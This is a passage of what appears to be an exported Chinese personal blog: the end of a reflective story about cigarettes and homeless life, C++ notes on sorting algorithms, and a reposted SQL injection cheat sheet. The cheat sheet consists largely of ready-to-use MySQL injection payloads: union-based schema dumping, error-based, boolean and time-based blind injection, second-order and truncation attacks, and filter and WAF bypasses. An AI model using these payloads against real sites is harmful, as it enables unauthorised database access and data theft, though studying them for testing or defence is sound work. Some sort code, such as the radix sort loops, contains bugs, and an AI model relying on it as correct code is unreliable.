的不是食物,是烟酒。抱歉,这还是玩笑,我又失言了。还有比烟酒更强烈的致幻剂,多到数不胜数,他们其实更喜欢那些东西,只是因为它们都不如烟酒来得容易,毕竟乞讨多多少少能得到些金钱。不知不觉,一根接一根地品尝已经快到尽头了。口中只剩下了烟草的苦涩,从中途开始已经已经不记得自己在做什么了。我下意识地从口袋里掏出烟盒,里面只剩下两根了,我又抽出一根叼在嘴里,但这次没点燃,只是在路边找了张长椅坐下而已。我望着天,那里什么也没有。这里的冬天很少能有晴天,今天算是例外中的例外了。可能也会有人在意,为什么他们不趁着秋天离开这里,即便想要回来,等春天再回来不就好了?理由可能会让所有人失望,其实大家只是懒得逃了。我们多多少少都有些习惯了,已经不在意结果如何了,过程也显得无关紧要了,只是在得过且过地活着罢了。倘若这个冬天会死,那就死在这个冬天;倘若熬过了这个冬天,那就在下个冬天继续。最后的最后,我们只是越来越懒惰,越来越多的事情变得无关紧要,最后,什么事都比如一根香烟来得重要,酒精优于一切。所以逃是没必要的,因为下一座城市也同样不会欢迎我们,即便那里的冬天不像这里来得要命,也没有人能保证那里的夏天就待人温和。只有政客和骗子会向他们承诺未来。对我们来说,没有任何话语是真实的,全都是戏言和玩笑。就好像我现在靠在长椅上,叼着一根还没点燃的香烟假装睡着了。要不了多久,一定会有人偷偷把它抢走,然后没逃几步就停下来开始吸烟。我会从口袋里拿出最后一根,现在终于有人与我一起分享新香烟的味道了。我很想问问他感觉如何,奈何我追不上他,就此作罢。甜甜圈也不知不觉间被谁拿走了,我不得已又绕回了那家店铺重新买了一份。味道差强人意,希望他们也是如此觉得吧。玩笑也该适可而止,所以今天先到这里吧。不好意思,可能我总是无意间表现出不正经的样子。其实我今天哪也没去,只是坐在街道旁的楼梯上而已。甜品店就在旁边,小卖铺也一样,长椅是指台阶,不过香烟是个例外,它真的很令我怀念。\n\n\n插画ID:72354485\n","categories":["Story"],"tags":["故事","随笔"]},{"title":"排序Sort(代码与笔记)","url":"/2021/02/21/sortset/","content":"[toc]\n插入排序:void InsertionSort(int *source,int N)//升序{int j, p,tmp;for (p = 1; p < N; p++){tmp = source[p];for (j = p; j > 0 && source[j - 1] > tmp; j--)source[j] = source[j - 1];source[j] = tmp;}}void ShellSort(int *Source,int *Incrementlist,int N1){int i, j, tmp,increment,s;for (s = 0;; s++){if (Incrementlist[s] > N1)break;}s--;for (increment = Incrementlist[s]; s>=0 ;s--){for (i = increment; i < N1; i++){tmp = Source[i];for (j = i; j >= increment; j -= increment)if (tmp < Source[j - increment])Source[j] = Source[j - increment];elsebreak;Source[j] = tmp;}}}//Hibbard:Dk=2^k-1 {1,3,7,15......}//Sedgewick:{1,5,19,41,109......}\n\n堆排序:void PercDown(int *Source,int i,int N){int Child,Tmp;for (Tmp = Source[i]; 2 * i + 1 < N; i = Child){Child = 2 *i +1;if (Child != N - 1 && Source[Child + 1] > Source[Child])Child++;if (Tmp < Source[Child])Source[i] = Source[Child];elsebreak;}Source[i] = Tmp;}void HeapSort(int *Source,int N){int i;for (i = N / 2; i >= 0; i--)PercDown(Source, i, N);for (i = N - 1; i > 0; i--){Swap(&Source[0],&Source[i]);PercDown(Source, 0, i);}}void Swap(int *a,int *b){int tmp = *a;*a = *b;*b = tmp;}\n\n归并排序:void MSort(int *A,int *TmpArray,int Left,int Right){int Center;if (Left < Right){Center = (Left + Right) / 2;MSort(A, TmpArray, Left, Center);MSort(A, TmpArray, Center + 1, Right);Merge(A, TmpArray, Left, Center + 1, Right);}}void Mergesort(int *A,int N){int* TmpArray;try{TmpArray = new int[N];MSort(A, TmpArray, 0, N - 1);delete TmpArray;}catch (const bad_alloc& e){exit;}}void Merge(int A[],int TmpArray[],int Lpos,int Rpos,int RightEnd){int i, LeftEnd, NumElements, TmpPos;LeftEnd = Rpos - 1;TmpPos = Lpos;NumElements = RightEnd - Lpos + 1;while (Lpos<=LeftEnd&&Rpos<=RightEnd)if (A[Lpos] <= A[Rpos])TmpArray[TmpPos++] = A[Lpos++];elseTmpArray[TmpPos++] = A[Rpos++];while (Lpos <= LeftEnd)TmpArray[TmpPos++] = A[Lpos++];while (Rpos <= RightEnd)TmpArray[TmpPos++] = A[Rpos++];for (i = 0; i < NumElements; i++, RightEnd--)A[RightEnd] = TmpArray[RightEnd];}\n\n图解参考:https://www.cnblogs.com/chengxiao/p/6194356.html\n快速排序:#define Cutoff 2//规定操作的左右范围长度void Quicksort(int *Source,int N)//驱动例程{ Qsort(Source, 0, N - 1); }int Median3(int *A,int Left,int Right){int Center = (Left + Right) / 2;if (A[Left] > A[Center])Swap(&A[Left], &A[Center]);if (A[Left] > A[Right])Swap(&A[Left], &A[Right]);if (A[Center] > A[Right])Swap(&A[Center],&A[Right]);Swap(&A[Center], &A[Right - 1]);return A[Right - 1];}//获取中位数(首位,中位,末位)void Qsort(int *A,int Left,int Right)//实际例程{int i, j, Pivot;if (Left + Cutoff <= Right){Pivot = Median3(A, Left, Right);i = Left; j = Right - 1;for (;;){while (A[++i] < Pivot){}while (A[--j] > Pivot){}if (i < j)Swap(&A[i], &A[j]);elsebreak;}Swap(&A[i], &A[Right - 1]);Qsort(A, Left, i - 1);Qsort(A, i + 1, Right);}elseInsertionSort(A + Left, Right - Left + 1);}void Qselect(int A[],int k,int Left,int Right){int i, j, Pivot;if (Left + Cutoff <= Right){Pivot = Median3(A, Left, Right);i = Left; j = Right - 1;for (;;){while (A[++i] < Pivot) {}while (A[--j] > Pivot) {}if (i < j)Swap(&A[i], &A[j]);elsebreak;}Swap(&A[i], &A[Right - 1]);if(k<=i)Qselect(A, k, Left, i - 1);else if(k>i+1)Qselect(A, k, i + 1, Right);}elseInsertionSort(A + Left, Right - Left + 1);}int QuickSelect(int* Source, int k,int N){Qselect(Source, k, 0, N - 1);return Source[k-1];}\n\n     快速排序的图解请移步其他大佬,这里主要是梳理一遍其排序过程,对一些晦涩的地方做出些许标记。\n    ①首先从驱动例程进入。Left和Right分别标记为数组的左右端点。声明必要的常量。\n   (注:Cutoff常量能够决定“左右端点的间距”。之所以要这样做,是因为递归算法在大量数据的排序过程中虽然很方便,但从汇编的角度却不可避免的需要不停地入栈出栈,对于一些小规模数据的排序来说,这是一种浪费。所以当排序的数据量低于Cutoff的时候,选用另外一种更加简单的非递归算法要比原先的递归算法来得更加效率)\n    ②Pivot取 首/中/末 位的中位数,并将i标记位Left(左端点),j标记为Right-1(最大索引数)\n    (注:Pivot的取值实际上是越接近全数组的中位数越好,因为这样可以尽可能的将数组拆分为同样大小的另外两个数组,从结论上来说,如果每一次都能等分,那么递归的次数是最少的,因此也是最快的。但在实际中,选取中位数是困难的一件事,所以只能大致取一个靠近中位数的来替代它。且还需要避免一些最糟糕的情况,比方说全数组的元素都相同,那么数组的分割将会毫无意义,又或者数组已经排好了序之类的。经过衡量,对于那些随机的投放元素的数组,这种取法能够尽可能的靠近中位数。)\n    (注:已经另外一个需要注意的是,Median3函数将选出的Pivot放在了A[Right-1]的位置,这样做能避免之后出现关键字与Pivot相同的时候进行的额外的操作)\n    ③进入循环,直到 i 标记越过或是与 j 标记重叠。期间,在第一个while循环中,当 A[i]>Pivot的时候将会停下,同理的,j标记也是一样。最后将两个元素进行交换。\n    ④直到 i 标记与 j 标记重叠或越过后,将现在 i 标记所指的单元与Pivot交换。那么,现在 i 标记的左边的所有值都将小于Pivot,右边所有值都将大于Pivot。\n    ⑤对 i 标记 左边的所有值进行同样的排序操作,结束后再对右边同理进行排序。\n    (注:最终必然会依靠插入排序对剩下的元素进行排序,请不要忘记这一点来观察图解)\n快速选择:(以选出数组中第 k 大/小 的数为例)\n    从快速排序中派生出的算法。基本上同上面一样,但速度还能更快,因为它不需要对整个数组进行排序。\n    上述的第⑤步,只需要先判断我们选取的值是在Pivot左边还是Pivot的右边,然后排序所在的那一侧,就能顺利的选出目标。这样会减少很多操作,所有速度能更快。\n桶排序:    对于任何一种需要比较的排序算法,其最优的时间下界也在NlogN处,但如果已知了一部分的信息,甚至能将这个时间优化为近乎线性,这便是桶排序的一种想法。对于已知的数据量上下界,为其建立好一个个桶,每遇到一个元素,就将其放进相应的桶里,最后来统计桶中的球的数量。但即便这样还是有些抽象,建议看一些大佬们画的图解。\n    以及有的时候,我们的数据块并不是整数,而是一个个非常大的节点。它们无法全都装到内存里面去,所有如果仍然执行交换操作,将会浪费非常多的时间在这里。一种简单的操作方法是,为这些数据建立一个指针数组,数组的第一格存放的指针指向最小的数据块,第二格,第三格……\n    这样,在需要排序的时候,我们实际只需要排序指针的位置,而不需要移动数据本来的位置。从而能减少很多时间。\n    如下代码是我自己写的桶排序与外部排序的结合,通过链表的方式实现。\n全代码:\ntypedef struct Queue* Position;typedef struct Node* pNode;struct Node{int Key;pNode Next;};struct Queue{pNode Data;};Position BucketSort(Node *A,int Size,int MaxNumber){Position P;P = new Queue[MaxNumber];pNode tmp;for (int i = 0; i < MaxNumber; i++)P[i].Data = NULL;for (int i = 0; i < Size; i++){tmp = P[A[i].Key].Data;while (tmp->Next)tmp = tmp->Next;tmp->Next = &A[i];tmp->Next->Next = NULL;}return P;}\n\n    不是很复杂,主要是针对[0,MaxNumber)区间的一系列能够依靠整数关键字来排序。\n基数排序:(算是桶排序的变种)    原理并不复杂。最低位的次序关系将会在其高位的排序中保留下来。\n    基础的这种算法只能用于排序整数。并且如果算法设计的不是很好,MSD(最高位优先)很可能不稳定。以下代码位LSD(最低位优先)。\nint MaxGet(int *Source,int N){int tmp=0;for (int i = 0; i < N; i++){if (Source[i] > tmp)tmp = Source[i];}return tmp;}int BitGet(int A){int d = 0;while (A > 0){A /= 10;d++;}return d;}void RadixSort(int *Source,int N)//Least Significant Digit{int MaxNumber = MaxGet(Source,N);int Bit = BitGet(MaxNumber);int* tmplist = new int[N];int* Count = new int[10];int k = 0,radix = 1;for (int i = 0; i <= Bit; i++){for (int j = 0; i < 10; j++)Count[j] = 0;for (int j = 0; j < N; j++){k = (Source[j]/radix) % 10;Count[k]++;}for (int j = 1; j < 10; j++)Count[j] = Count[j - 1] + Count[j];for (int j = N-1; j >=0; j++){k = (Source[j]/radix) % 10;tmplist[Count[k] - 1] = Source[j];Count[k]--;}for (int j = 0; j < N; j++)Source[j] = tmplist[j];radix *= 10;}delete[]tmplist;delete[]Count;}\n\n    ①首先获取整个数组中最高的数位(比如最大有1000,那Bit就应该为4)\n    ②建立临时数组tmplist和计数器Count。声明变量。\n    ③进入循环。Count初始化,并统计最低位为 k 的数的个数。\n    ④将Count中保存的个数转换为对应的tmplist中的索引编号\n    (比方说,Count[0]=2,Count[1]=3。那最低位为0的数就应该摆在tmplist[01],而最低位为1的数则在tmplist[24]。将计算好的Count[j]-1就是低位相同的数的最高储存索引(比如说tmplist[0~5],那它就会把6存在Count里))。\n    ⑤将每一个数全都按照低位的大小排入tmplist,并将tmplist数据复制到Source中(如果不吝啬代码的长度,可以改为两个数组的交替使用,可以在一定程度上再提高一点效率)。\n    ⑥再按照第二位重复如上操作,直到最高位也结束排序。最后将tmplist和Count的空间都释放掉\n","categories":["Note","C++/数据结构"],"tags":["C++","数据结构"]},{"title":"SQL注入相关","url":"/2021/02/17/sqlinject/","content":"本篇文章转载自:https://www.anquanke.com/post/id/205376#h2-0\n对SQL注入的学习结束后将会对本文进行改编和补充,届时将会重新发布自己编写的版本。\n//————————————–//\n[toc]\n本文的注入场景为:\n\n一、基础注入1.联合查询即最常见的union注入:\n若前面的查询结果不为空,则返回两次查询的值:\n\n若前面的查询结果为空,则只返回union查询的值:\n\n查完数据库接下来就要查表名:\n' union select group_concat(table_name) from information_schema.tables where table_schema=database()%23\n\n\n接下来是字段名:\n' union select group_concat(column_name) from information_schema.columns where table_name='table1'%23\n\n\n得到字段名后查询相应字段:\n' union select flag from table1%23\n\n\n一个基本的SQL注入过程就结束了。\n2.报错注入报错注入是利用mysql在出错的时候会引出查询信息的特征,常用的报错手段有如下10种:\n1.floor()select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);2.extractvalue()select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));3.updatexml()select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));4.geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));5.multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));6.polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b));7.multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));8.linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));9.multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));10.exp()select * from test where id=1 and exp(~(select * from(select user())a));\n\n效果:\n\n3.布尔盲注常见的布尔盲注场景有两种,一是返回值只有True或False的类型,二是Order by盲注。\n返回值只有True或False的类型\n如果查询结果不为空,则返回True(或者是Success之类的),否则返回False\n这种注入比较简单,可以挨个猜测表名、字段名和字段值的字符,通过返回结果判断猜测是否正确\n例:parameter=’ or ascii(substr((select database()) ,1,1))<115—+\nOrderby盲注\norder by rand(True)和order by rand(False)的结果排序是不同的,可以根据这个不同来进行盲注:\n\n例:\norder by rand(database()='pdotest')\n\n\n返回了True的排序,说明database()=’pdotest’是正确的值\n4.时间盲注其实大多数页面,即使存在sql注入也基本是不会有回显的,因此这时候就要用延时来判断查询的结果是否正确。\n常见的时间盲注有5种:\n1.sleep(x)\nid=' or sleep(3)%23id=' or if(ascii(substr(database(),1,1))>114,sleep(3),0)%23\n\n查询结果正确,则延迟3秒,错误则无延时。\n2.benchmark()\n通过大量运算来模拟延时:\nid=' or benchmark(10000000,sha(1))%23id=' or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0)%23\n\n本地测试这个值大约可延时3秒:\n\n3.笛卡尔积\n计算笛卡尔积也是通过大量运算模拟延时:\nselect count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables Cselect balabala from table1 where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0)\n\n笛卡尔积延时大约也是3秒\n4.get_lock\n属于比较鸡肋的一种时间盲注,需要两个session,在第一个session中加锁:\nselect get_lock('test',1)\n\n\n然后再第二个session中执行查询:\nselect get_lock('test',5)\n\n另一个窗口:\n\n5.rlike+rpad\nrpad(1,3,’a’)是指用a填充第一位的字符串以达到第二位的长度经本地测试mysql5.7最大允许用单个rpad()填充349525位,而多个rpad()可以填充4个349525位,因此可用:\nselect * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asdasdsadasd',1);\n\n以上所写是本地测试的最大填充长度,延时0.3秒,最后的asdasdasd对时间长度有巨大影响,可以增长其长度以增大时延这个长度大概是1秒:\nselect * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd',1);\n\n这个长度大概是2秒:\nselect * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasd',1);\n\n5.HTTP头注入用于在cookie或referer中存储数据的场景,通常伴随着base64加密或md5等摘要算法,注入方式与上述相同。\n6.HTTP分割注入如果存在一个登录场景,参数为username&password\n查询语句为select xxx from xxx where username=’xxx’ and password=’xxx’\n但是username参数过滤了注释符,无法将后面的注释掉,则可尝试用内联注释把password注释掉,凑成一条新语句后注释或闭合掉后面的语句:\n例如实验吧加了料的报错注入:\n\n\n(来源:https://www.cnblogs.com/s1ye/p/8284806.html)\n这样就凑成了如下的语句,将password参数直接注释掉:\nselect * from users where username='1' or extractvalue/*'and password='1*/(1,concat(0x7e,(select database()),0x7e))) or '';\n\n当然这种注入的前提是单引号没有被过滤。如果过滤不太多的话,其实也有很多其他的方式如:\nPOST username=1' or if(ascii(substr(database(),1,1))=115,sleep(3),0) or '1&password=1凑成:select * from users where username='1' or if(ascii(substr(database(),1,1))>0,sleep(3),0) or '1' and password='1'\n\n还有一个例子是GYCTF中的一道sql注入题,通过注入来登录:\n\n过滤了空格,union,#,—+,/*,^,or,\n这样上面用类似or ‘1’=’1’万能钥匙的方式来注入就不太可能了。\n可以考虑将password作为函数的参数来闭合语句:\nusername=admin'and(strcmp(&password=,'asdasdasdasdasdasd'))and'1这样凑成:select username from users where username='admin'and(strcmp('and password=','asdasdasdasdasdasd'))and'1'\n\nstrcmp比较,二者不一致返回True,一致返回False,而MySQL会将’1’判断为数字1,即True,因此该查询语句结果为True\n7.二次注入二次注入就是攻击者构造的恶意payload首先会被服务器存储在数据库中,在之后取出数据库在进行SQL语句拼接时产生的SQL注入问题\n假如登录/注册处的SQL语句没有可以注入的地方,并将username储存在session中,而在登录之后页面查询语句没有过滤,为:\nselect * from users where username=’$_SESSION[‘username’]’\n则我们在注册的时候便可将注入语句写入到session中,在登录后再查询的时候则会执行SQL语句:\n如username=admin’#,登录后查询语句为:\nselect * from users where username='admin' #'\n\n就构成了SQL注入。\n8.SQL约束攻击假如注册时username参数在mysql中为字符串类型,并且有unique属性,设置了长度为VARCHAR(20)。\n则我们注册一个username为admin[20个空格]asd的用户名,则在mysql中首先会判断是否有重复,若无重复,则会截取前20个字符加入到数据库中,所以数据库存储的数据为admin[20个空格],而进行登录的时候,SQL语句会忽略空格,因此我们相当于覆写了admin账号。\n二、基础绕过1.大小写绕过用于过滤时没有匹配大小写的情况:\nSelECt * from table;\n2.双写绕过用于将禁止的字符直接删掉的过滤情况如:\npreg_replace(‘/select/‘,’’,input)\n则可用seselectlect from xxx来绕过,在删除一个select后剩下的就是select from xxx\n3.添加注释/*! */类型的注释,内部的语句会被执行\n\n本地mysql5.7测试通过:\n\n可以用来绕过一些WAF,或者绕过空格\n但是,不能将关键词用注释分开,例如下面的语句是不可以执行的(或者说只能在某些较老的版本执行):\nselect bbb from table1 where balabala='' union se/*!lect database()*/;\n\n4.使用16进制绕过特定字符如果在查询字段名的时候表名被过滤,或是数据库中某些特定字符被过滤,则可用16进制绕过:\nselect column_name from information_schema.columns where table_name=0x7573657273;\n\n0x7573657273为users的16进制\n5.宽字节、Latin1默认编码宽字节注入\n用于单引号被转义,但编码为gbk编码的情况下,用特殊字符将其与反斜杠合并,构成一个特殊字符:\nusername = %df'#经gbk解码后变为:select * from users where username ='運'#\n\n成功闭合了单引号。\nLatin1编码\nMysql表的编码默认为latin1,如果设置字符集为utf8,则存在一些latin1中有而utf8中没有的字符,而Mysql是如何处理这些字符的呢?直接忽略\n于是我们可以输入?username=admin%c2,存储至表中就变为了admin\n上面的%c2可以换为%c2-%ef之间的任意字符\n6.各个字符以及函数的代替数字的代替:\n摘自MySQL注入技巧\n代替字符\n数\n代替字符\n代替的数\n数、字\n代替的数\nfalse、!pi()\n0\nceil(pi()*pi())\nA\nceil((pi()+pi())*pi())\nK\ntrue、!(!pi())\n1\nceil(pi()*pi())+true\nB\nceil(ceil(pi())*version())\nL\ntrue+true\n2\nceil(pi()+pi()+version())\nC\nceil(pi()*ceil(pi()+pi()))\nM\nfloor(pi())、~~pi()\n3\nfloor(pi()*pi()+pi())\nD\nceil((pi()+ceil(pi()))*pi())\nN\nceil(pi())\n4\nceil(pi()*pi()+pi())\nE\nceil(pi())*ceil(version())\nO\nfloor(version()) //注意版本\n5\nceil(pi()*pi()+version())\nF\nfloor(pi()*(version()+pi()))\nP\nceil(version())\n6\nfloor(pi()*version())\nG\nfloor(version()*version())\nQ\nceil(pi()+pi())\n7\nceil(pi()*version())\nH\nceil(version()*version())\nR\nfloor(version()+pi())\n8\nceil(pi()*version())+true\nI\nceil(pi()_pi()_pi()-pi())\nS\nfloor(pi()*pi())\n9\nfloor((pi()+pi())*pi())\nJ\nfloor(pi()_pi()_floor(pi()))\nT\n其中!(!pi())代替1本地测试没有成功,还不知道原因。\n常用字符的替代\nand -> &&or -> 空格-> /**/ -> %a0 -> %0a -> +# -> --+ -> ;%00(php<=5.3.4) -> or '1'='1= -> like -> regexp -> <> -> in注:regexp为正则匹配,利用正则会有些新的注入手段\n\n常用函数的替代\n字符串截取/拼接函数:\n摘自https://xz.aliyun.com/t/7169\n函数\n说明\nSUBSTR(str,N_start,N_length)\n对指定字符串进行截取,为SUBSTRING的简单版。\nSUBSTRING()\n多种格式SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len)。\nRIGHT(str,len)\n对指定字符串从最右边截取指定长度。\nLEFT(str,len)\n对指定字符串从最左边截取指定长度。\nRPAD(str,len,padstr)\n在 str 右方补齐 len 位的字符串 padstr,返回新字符串。如果 str 长度大于 len,则返回值的长度将缩减到 len 所指定的长度。\nLPAD(str,len,padstr)\n与RPAD相似,在str左边补齐。\nMID(str,pos,len)\n同于 SUBSTRING(str,pos,len)。\nINSERT(str,pos,len,newstr)\n在原始字符串 str 中,将自左数第 pos 位开始,长度为 len 个字符的字符串替换为新字符串 newstr,然后返回经过替换后的字符串。INSERT(str,len,1,0x0)可当做截取函数。\nCONCAT(str1,str2…)\n函数用于将多个字符串合并为一个字符串\nGROUP_CONCAT(…)\n返回一个字符串结果,该结果由分组中的值连接组合而成。\nMAKE_SET(bits,str1,str2,…)\n根据参数1,返回所输入其他的参数值。可用作布尔盲注,如:EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,'1','710'))。\n函数/语句\n说明\nLENGTH(str)\n返回字符串的长度。\nPI()\n返回π的具体数值。\nREGEXP “statement”\n正则匹配数据,返回值为布尔值。\nLIKE “statement”\n匹配数据,%代表任意内容。返回值为布尔值。\nRLIKE “statement”\n与regexp相同。\nLOCATE(substr,str,[pos])\n返回子字符串第一次出现的位置。\nPOSITION(substr IN str)\n等同于 LOCATE()。\nLOWER(str)\n将字符串的大写字母全部转成小写。同:LCASE(str)。\nUPPER(str)\n将字符串的小写字母全部转成大写。同:UCASE(str)。\nELT(N,str1,str2,str3,…)\n与MAKE_SET(bit,str1,str2...)类似,根据N返回参数值。\nNULLIF(expr1,expr2)\n若expr1与expr2相同,则返回expr1,否则返回NULL。\nCHARSET(str)\n返回字符串使用的字符集。\nDECODE(crypt_str,pass_str)\n使用 pass_str 作为密码,解密加密字符串 crypt_str。加密函数:ENCODE(str,pass_str)。\n7.逗号被过滤用join代替:-1 union select 1,2,3-1 union select * from (select 1)a join (select 2)b join (select 3)c%23\nlimit:limit 2,1limit 1 offset 2\nsubstr:substr(database(),5,1)substr(database() from 5 for 1) from为从第几个字符开始,for为截取几个substr(database() from 5)如果for也被过滤了mid(REVERSE(mid(database()from(-5)))from(-1)) reverse是反转,mid和substr等同\nif:if(database()=’xxx’,sleep(3),1)id=1 and databse()=’xxx’ and sleep(3)select case when database()=’xxx’ then sleep(5) else 0 end\n8.limit被过滤select user from users limit 1\n加限制条件,如:\nselect user from users group by user_id having user_id = 1 (user_id是表中的一个column)\n9.information_schema被过滤innodb引擎可用mysql.innodb_table_stats、innodb_index_stats,日志将会把表、键的信息记录到这两个表中\n除此之外,系统表sys.schema_table_statistics_with_buffer、sys.schema_auto_increment_columns用于记录查询的缓存,某些情况下可代替information_schema\n10.and or && 被过滤可用运算符! ^ ~以及not xor来代替:\n例如:\n真^真^真=真真^假^真=假真^(!(真^假))=假……\n\n等等一系列组合\neg: select bbb from table1 where ‘29’=’29’^if(ascii(substr(database(),1,1))>0,sleep(3),0)^1;\n真则sleep(3),假则无时延\n三、特定场景的绕过1.表名已知字段名未知的注入join注入得到列名:\n条件:有回显(本地尝试了下貌似无法进行时间盲注,如果有大佬发现了方法可以指出来)\n第一个列名:\nselect * from(select * from table1 a join (select * from table1)b)c\n\n\n第二个列名:\nselect * from(select * from table1 a join (select * from table1)b using(balabala))c\n\n\n第三个列名:\nselect * from(select * from table1 a join (select * from table1)b using(balabala,eihey))c\n\n\n以此类推……\n在实际应用的的过程中,该语句可以用于判断条件中:\n类似于select xxx from xxx where ‘1’=’1’ and 语句=’a’\n\njoin利用别名直接注入:\n上述获取列名需要有回显,其实不需要知道列名即可获取字段内容:\n采用别名:union select 1,(select b.2 from (select 1,2,3,4 union select * from table1)b limit 1,1),3\n该语句即把(select 1,2,3,4 union select * from users)查询的结果作为表b,然后从表b的第1/2/3/4列查询结果\n当然,1,2,3,4的数目要根据表的列名的数目来确定。\nselect * from table1 where '1'='' or if(ascii(substr((select b.2 from (select 1,2,3,4 union select * from table1)b limit 3,1),1,1))>1,sleep(3),0)\n\n2.堆叠注入&select被过滤select被过滤一般只有在堆叠注入的情况下才可以绕过,除了极个别不需要select可以直接用password或者flag进行查询的情况\n在堆叠注入的场景里,最常用的方法有两个:\n1.预编译:\n没错,预编译除了防御SQL注入以外还可以拿来执行SQL注入语句,可谓双刃剑:\nid=1';Set @x=0x31;Prepare a from “select balabala from table1 where 1=?”;Execute a using @x;\n\n或者:\nset @x=0x73656c6563742062616c6162616c612066726f6d207461626c653120776865726520313d31;prepare a from @x;execute a;\n\n上面一大串16进制是select balabala from table1 where 1=1的16进制形式\n2.Handler查询\nHandler是Mysql特有的轻量级查询语句,并未出现在SQL标准中,所以SQL Server等是没有Handler查询的。\nHandler查询的用法:\nhandler table1 open as fuck;//打开句柄\nhandler fuck read first;//读所有字段第一条\nhandler fuck read next;//读所有字段下一条\n……\nhandler fuck close;//关闭句柄\n3.PHP正则回溯BUGPHP为防止正则表达式的DDos,给pcre设定了回溯次数上限,默认为100万次,超过这个上限则未匹配完,则直接返回False。\n例如存在preg_match(“/union.+?select/ig”,input)的过滤正则,则我们可以通过构造\nunion/*100万个1*/select\n\n即可绕过。\n4.PDO场景下的SQL注入PDO最主要有下列三项设置:\nPDO::ATTR_EMULATE_PREPARESPDO::ATTR_ERRMODEPDO::MYSQL_ATTR_MULTI_STATEMENTS\n\n第一项为模拟预编译,如果为False,则不存在SQL注入;如果为True,则PDO并非真正的预编译,而是将输入统一转化为字符型,并转义特殊字符。这样如果是gbk编码则存在宽字节注入。\n第二项为报错,如果设为True,可能会泄露一些信息。\n第三项为多句执行,如果设为True,且第一项也为True,则会存在宽字节+堆叠注入的双重大漏。\n详情请查看我的另一篇文章:\n从宽字节注入认识PDO的原理和正确使用\n5.Limit注入(5.7版本已经废除)适用于5.0.0-5.6.6版本\n如果存在一条语句为\nselect bbb from table1 limit 0,1\n\n后面接可控参数,则可在后面接union select:\nselect bbb from table1 limit 0,1 union select database();\n\n如果查询语句加入了order by:\nselect bbb from table1 order by balabala limit 0,1\n\n,则可用如下语句注入:\nselect bbb from table1 order by balabala limit 0,1 PROCEDURE analyse(1,1)\n\n其中1可换为其他盲注的语句\n6.特殊的盲注(1)查询成功与mysql error\n与普通的布尔盲注不同,这类盲注只会回显执行成功和mysql error,如此只能通过可能会报错的注入来实现,常见的比较简单的报错函数有:\n整数溢出:cot(0), pow(999999,999999), exp(710)几何函数:polygon(ans), linestring(ans)\n\n因此可以按照下面的逻辑来构造语句:\nparameter=1 and 语句 or cot(0)\n若语句为真,则返回正确结果并忽略后面的cot(0);语句为假,则执行后面的cot(0)报错\n\n无回显的情况:\nselect * from table1 where 1=1 and if(mid(user(),1,1)='r',benchmark(10000000,sha1(1)),1) and cot(0);或select * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE 